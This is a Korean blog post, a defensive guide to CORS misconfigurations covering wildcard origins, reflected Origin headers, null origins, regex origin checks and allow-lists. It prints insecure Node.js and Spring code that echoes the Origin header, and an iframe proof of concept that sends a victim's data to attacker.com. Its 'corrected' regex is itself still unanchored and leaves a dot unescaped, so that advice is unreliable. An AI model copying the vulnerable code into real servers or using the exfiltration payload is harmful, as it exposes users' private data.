...
CORS의 보안 문제점
다른 출처(Origin)의 서버의 리소스를 제약없이 가져와 사용할 경우 XSS(Cross-Site Scripting)나 CSRF(Cross-Site Request Fogery)와 같은 스크립팅 공격을 당할 위험성이 있다.
그래서 탄생한 것이 브라우저의 SOP(Same Origin Policy) 정책이다.
하지만 SOP 정책은 오로지 동일한 출처에서만 리소스를 공유할수 있어, 글로벌한 인터넷 환경에선 이는 너무 제한적이라는 단점이 존재했다. 따라서 서비스 차원에서 몇몇은 다른 출처라도 리소스 공유를 허용해 주겠다는 것이 바로 CORS(Cross Origin Resource Sharing) 정책이다.
하지만 사용자들의 편의를 위해 탄생한 CORS 정책에 대해, 서버에서 너무 유연하게 리소스 허용 설정을 하게 될 경우, 웹어플리케이션의 흐름을 악용하여 타인의 개인정보를 해킹할 위험성이 있게 된다.
이는 당연한 것이, 원래는 SOP 정책으로 막혔어야할 외부 리소스들이 CORS 정책으로 억지로 뚫어줬으니 공격에 그대로 노출되는건 당연한 수순이다.
즉, 개발자가 CORS 정책을 잘못 구성할 경우 심각한 보안 위협이 될 수 있다는 소리이다.
대표적인 예로 Access-Control-Allow-Origin 헤더에 허용할 도메인들을 일일히 설정하기 귀찮다고 와일드 카드(*)로 퉁치는걸 들 수 있다.
CORS 보안 문제 예방 가이드
다음은 취약한 CORS의 구성을 예방 및 완화하는 지침 가이드이다.
1. 와일드카드(*) 출처 사용 금지
예상하였듯이 모든 도메인을 허용하는 와일드카드의 사용은 아무리 귀찮더라도 서비스가 전체적으로 공개될 것이 아니라면 사용을 자제 하여야 한다.
2. Origin 요청 헤더의 값을 그대로 사용 금지
위의 와일드카드(*)를 사용하는 것과 다름이 없는 상황이다.
만일 다른 출처 끼리 쿠키 통신을 해야할때 클라이언트에서 withCredentials 옵션을 활성화하여야 하는데, 이때 Access-Control-Allow-Origin 헤더에 와일드카드(*)를 사용하지 못하게 된다.
이때 쓰는 꼼수 방법이 라우터에 들어온 요청 데이터에 request 객체의 Origin 헤더값을 가져와서 그대로 Access-Control-Allow-Origin 헤더에 넣는 방식이다.
길게 설명할 필요없이 개발자의 게으름에 의해 발생되는 보안 취약점이며 이러한 로직의 사용을 지양하여야 한다.
/* Node.js */
app.get('/users', (req, res) => {
res.header("Access-Control-Allow-Origin", req.headers.origin);
// ...
}
/* Spring */
@Component
public class SimpleCorsFilter implements Filter {
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin"));
// ...
}
// ...
}
3. NULL 출처 허용 금지
가끔 로컬 환경에서 개발하고 테스트할때 Origin이 null로 넘어와서, 서버에서 Access-Control-Allow-Origin 헤더에 null을 설정하고 개발을 이어나가다, 개발이 완료되면 그대로 배포하는 일이 일어난다.
어차피 실서비스는 웹서버에 의해 배포가 될것이고, 서비스에 접속하는 것도 실제 웹주소를 통해 들어오는데 무엇이 문제냐고 의문을 표할수 있겠지만, 결론 부터 말하면 Origin: null은 간단히 뚫릴수 있다.
iframe을 통한 공격
iframe 은 html을 페이지에 삽입 해주는 것 뿐만 아니라, src 값에 javascript: 나 data: 등을 넣어 스크립트를 실행하게할 수 있게 할 수 있다.
만일 이런식으로 iframe 내부에서 요청을 보내게 된다면 Origin은 자동으로 null로 되어서 서버로 보내지게 된다.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var xhr = new XMLHttpRequest();
xhr.onload = reqListener;
xhr.open('get', 'https://vulnerable.com/path_to_get_data', true); // 취약한 서버로 ajax 요청을 보냄
xhr.withCredentials = true;
xhr.send();
function reqListener() {
location='https://attacker.com/getdata?restxt='+encodeURIComponent(this.responseText);
};
</script>">
</iframe>
- 피해자가 웹브라우저를 통해 공격사이트 attacker.com 에 접속한다.
- attacker.com에 임베디드 되어 있는 iframe에 있는 스크립트를 통해 포털 사이트에 쿠키를 담아 사용자 정보를 조회하는 요청을 몰래 보낸다.
- 이때 브라우저의 Origin은 null로 처리되어 보내지게 된다.
- 만일 서버에서 null에 대해 출처를 허용되도록 처리했다면 정상 응답을 하게 된다.
- 피해자의 개인정보를 attacker.com에 쿼리스트링으로 넣어 전송한다.
4. 정규식으로 처리할 것이라면 조심히
효율적인 코드 작성을 위해 도메인을 정규식으로 처리하는 경우도 존재한다.
예를들어 다음과 같은 도메인에 대한 정규식이 있다고 하자. 상위 도메인 example.com 의 하위 도메인에게만 접근을 허용하도록 처리된 식이며, 나중에 추가될 여러가지 하위 도메인들에 대해 서버 코드 수정없이 유연하게 처리도 가능하다.
const regex = /[a-z]+.example.com/g
하지만 위의 정규표현식은 적절하지 않다.
정규식의 본래 의도인 하위 도메인에게만 접근을 허용하는건 문제없지만, [a-z]+ 다음에 있는 점 . 이 문제다. 정규표현식에서 점(.)은 모든 문자를 뜻하기 때문이다.
결국 공격자는 따로 attackerexample.com 도메인을 새로 준비하기만 하면 서버의 필터링 로직은 손쉽게 뚫리게 되는 결과를 낳게 된다.
해결 방법은 점(.)을 이스케이프 처리하여 문자화 시키는 것이다.
이처럼 허용할 CORS Origin을 설정할때 정규식으로 처리할경우 완벽한 검증이 요구하게 된다.
const regex = /[a-z]+\.example.com/g
5. 화이트 리스트 사용
결국은 어딘가의 배열이나 리스트에 허용할 출처들을 저장해놓고 관리하는 것이 가장 베스트이다.
따라서 요청을 전송한 출처가 화이트 리스트에 있는 도메인 목록에 있는 경우에만 Access-Control-Allow-Origin 헤더에 해당 출처를 지정하는 식으로 백엔드 개발자는 하드 코딩을 조금 해야한다.
클라이언트에서 Origin을 변조해도 문제 없는가?
그렇다면 클라이언트에서 미리 origin 헤더값을 위조하면 서버의 CORS를 뚫을수 있지 않을까 싶지만, 브라우저에서 이를 감지하여 원천 차단하기 때문에 결론은 불가능하다.
# 참고자료
https://www.bugbountyclub.com/pentestgym/view/60
이 글이 좋으셨다면 구독 & 좋아요
여러분의 구독과 좋아요는
저자에게 큰 힘이 됩니다.